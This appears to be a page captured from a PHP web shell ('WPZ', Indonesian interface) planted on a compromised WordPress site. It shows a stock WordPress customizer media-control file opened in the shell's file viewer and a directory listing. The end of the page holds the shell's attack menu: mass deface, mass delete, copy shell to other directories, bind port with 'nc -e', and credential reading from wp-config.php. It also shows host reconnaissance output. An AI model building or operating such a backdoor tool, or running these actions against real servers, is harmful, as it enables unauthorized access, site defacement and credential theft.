WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-includes / customize / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-includes/customize/class-wp-customize-media-control.php (9.24 KB)
<?php
/**
 * Customize API: WP_Customize_Media_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Media Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Media_Control extends WP_Customize_Control {
	/**
	 * Control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'media';

	/**
	 * Media control mime type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $mime_type = '';

	/**
	 * Button labels.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	public $button_labels = array();

	/**
	 * Constructor.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );

		$this->button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() );
	}

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function enqueue() {
		wp_enqueue_media();
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['label']         = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$this->json['mime_type']     = $this->mime_type;
		$this->json['button_labels'] = $this->button_labels;
		$this->json['canUpload']     = current_user_can( 'upload_files' );

		$value = $this->value();

		if ( is_object( $this->setting ) ) {
			if ( $this->setting->default ) {
				/*
				 * Fake an attachment model - needs all fields used by template.
				 * Note that the default value must be a URL, NOT an attachment ID.
				 */
				$ext       = wp_check_filetype( $this->setting->default )['ext'];
				$ext_types = wp_get_ext_types();
				$type      = isset( $ext_types['image'] ) && in_array( $ext, $ext_types['image'], true ) ? 'image' : 'document';

				$default_attachment = array(
					'id'    => 1,
					'url'   => $this->setting->default,
					'type'  => $type,
					'icon'  => wp_mime_type_icon( $type, '.svg' ),
					'title' => wp_basename( $this->setting->default ),
				);

				if ( 'image' === $type ) {
					$default_attachment['sizes'] = array(
						'full' => array( 'url' => $this->setting->default ),
					);
				}

				$this->json['defaultAttachment'] = $default_attachment;
			}

			if ( $value && $this->setting->default && $value === $this->setting->default ) {
				// Set the default as the attachment.
				$this->json['attachment'] = $this->json['defaultAttachment'];
			} elseif ( $value ) {
				$this->json['attachment'] = wp_prepare_attachment_for_js( $value );
			}
		}
	}

	/**
	 * Don't render any content for this control from PHP.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Media_Control::content_template()
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the media control.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function content_template() {
		?>
		<#
		var descriptionId = _.uniqueId( 'customize-media-control-description-' );
		var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : '';
		#>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{ data.label }}</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<# if ( data.description ) { #>
			<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>

		<# if ( data.attachment && data.attachment.id ) { #>
			<div class="attachment-media-view attachment-media-view-{{ data.attachment.type }} {{ data.attachment.orientation }}">
				<div class="thumbnail thumbnail-{{ data.attachment.type }}">
					<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.medium.url }}" draggable="false" alt="" />
					<# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.full.url }}" draggable="false" alt="" />
					<# } else if ( 'audio' === data.attachment.type ) { #>
						<# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #>
							<img src="{{ data.attachment.image.src }}" class="thumbnail" draggable="false" alt="" />
						<# } else { #>
							<img src="{{ data.attachment.icon }}" class="attachment-thumb type-icon" draggable="false" alt="" />
						<# } #>
						<p class="attachment-meta attachment-meta-title">&#8220;{{ data.attachment.title }}&#8221;</p>
						<# if ( data.attachment.album || data.attachment.meta.album ) { #>
						<p class="attachment-meta"><em>{{ data.attachment.album || data.attachment.meta.album }}</em></p>
						<# } #>
						<# if ( data.attachment.artist || data.attachment.meta.artist ) { #>
						<p class="attachment-meta">{{ data.attachment.artist || data.attachment.meta.artist }}</p>
						<# } #>
						<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
							<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
						</audio>
					<# } else if ( 'video' === data.attachment.type ) { #>
						<div class="wp-media-wrapper wp-video">
							<video controls="controls" class="wp-video-shortcode" preload="metadata"
								<# if ( data.attachment.image && data.attachment.image.src !== data.attachment.icon ) { #>poster="{{ data.attachment.image.src }}"<# } #>>
								<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
							</video>
						</div>
					<# } else { #>
						<img class="attachment-thumb type-icon icon" src="{{ data.attachment.icon }}" draggable="false" alt="" />
						<p class="attachment-title">{{ data.attachment.title }}</p>
					<# } #>
				</div>
				<div class="actions">
					<# if ( data.canUpload ) { #>
					<button type="button" class="button remove-button">{{ data.button_labels.remove }}</button>
					<button type="button" class="button upload-button control-focus" {{{ describedByAttr }}}>{{ data.button_labels.change }}</button>
					<# } #>
				</div>
			</div>
		<# } else { #>
			<div class="attachment-media-view">
				<# if ( data.canUpload ) { #>
					<button type="button" class="upload-button button" {{{ describedByAttr }}}>{{ data.button_labels.select }}</button>
				<# } #>
				<div class="actions">
					<# if ( data.defaultAttachment ) { #>
						<button type="button" class="button default-button">{{ data.button_labels['default'] }}</button>
					<# } #>
				</div>
			</div>
		<# } #>
		<?php
	}

	/**
	 * Get default button labels.
	 *
	 * Provides an array of the default button labels based on the mime type of the current control.
	 *
	 * @since 4.9.0
	 *
	 * @return string[] An associative array of default button labels keyed by the button name.
	 */
	public function get_default_button_labels() {
		// Get just the mime type and strip the mime subtype if present.
		$mime_type = ! empty( $this->mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default';

		switch ( $mime_type ) {
			case 'video':
				return array(
					'select'       => __( 'Select video' ),
					'change'       => __( 'Change video' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No video selected' ),
					'frame_title'  => __( 'Select video' ),
					'frame_button' => __( 'Choose video' ),
				);
			case 'audio':
				return array(
					'select'       => __( 'Select audio' ),
					'change'       => __( 'Change audio' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No audio selected' ),
					'frame_title'  => __( 'Select audio' ),
					'frame_button' => __( 'Choose audio' ),
				);
			case 'image':
				return array(
					'select'       => __( 'Select image' ),
					'site_icon'    => __( 'Select Site Icon' ),
					'change'       => __( 'Change image' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No image selected' ),
					'frame_title'  => __( 'Select image' ),
					'frame_button' => __( 'Choose image' ),
				);
			default:
				return array(
					'select'       => __( 'Select file' ),
					'change'       => __( 'Change file' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No file selected' ),
					'frame_title'  => __( 'Select file' ),
					'frame_button' => __( 'Choose file' ),
				);
		} // End switch().
	}
}
namawaktuukuranownerpermaksi
..
class-wp-customize-background-image-control.php 2026-02-23 19:411.25 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-background-image-setting.php 2026-05-21 09:11782 B 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-background-position-control.php 2026-02-23 19:412.96 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-code-editor-control.php 2026-02-23 19:412.26 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-color-control.php 2026-02-23 19:413.13 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-cropped-image-control.php 2026-02-23 19:411.42 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-custom-css-setting.php 2026-05-21 09:117.51 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-date-time-control.php 2026-02-23 19:419.22 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-filter-setting.php 2026-05-21 09:11733 B 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-header-image-control.php 2026-05-21 09:118.12 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-header-image-setting.php 2026-09-18 04:017.15 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-image-control.php 2026-02-23 19:411.18 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-media-control.php 2026-05-21 09:119.24 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-nav-menu-auto-add-control.php 2026-02-23 19:411.1 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-nav-menu-control.php 2026-02-23 19:412.08 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-nav-menu-item-control.php 2026-02-23 19:417.97 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-nav-menu-item-setting.php 2026-08-20 11:4627.43 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-nav-menu-location-control.php 2026-02-23 19:412.25 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-nav-menu-locations-control.php 2026-02-23 19:412.75 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-nav-menu-name-control.php 2026-02-23 19:411.1 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-nav-menu-section.php 2026-02-23 19:41716 B 76129f60960:kunden-xw-x-----
edt
class-wp-customize-nav-menu-setting.php 2026-05-21 09:1118.68 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-nav-menus-panel.php 2026-02-23 19:413.23 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-new-menu-control.php 2026-02-23 19:411.67 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-new-menu-section.php 2026-02-23 19:411.65 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-partial.php 2026-05-21 09:1110.3 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-selective-refresh.php 2026-08-20 11:4613.45 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-sidebar-section.php 2026-02-23 19:411.03 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-site-icon-control.php 2026-02-23 19:415.04 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-theme-control.php 2026-02-23 19:4111.61 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-themes-panel.php 2026-02-23 19:413.31 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-themes-section.php 2026-02-23 19:416.79 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-upload-control.php 2026-02-23 19:411.17 KB 76129f60960:kunden-xw-x-----
edt
class-wp-sidebar-block-editor-control.php 2026-02-23 19:41686 B 76129f60960:kunden-xw-x-----
edt
class-wp-widget-area-customize-control.php 2026-02-23 19:411.68 KB 76129f60960:kunden-xw-x-----
edt
class-wp-widget-form-customize-control.php 2026-02-23 19:412.58 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-includes/customize
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK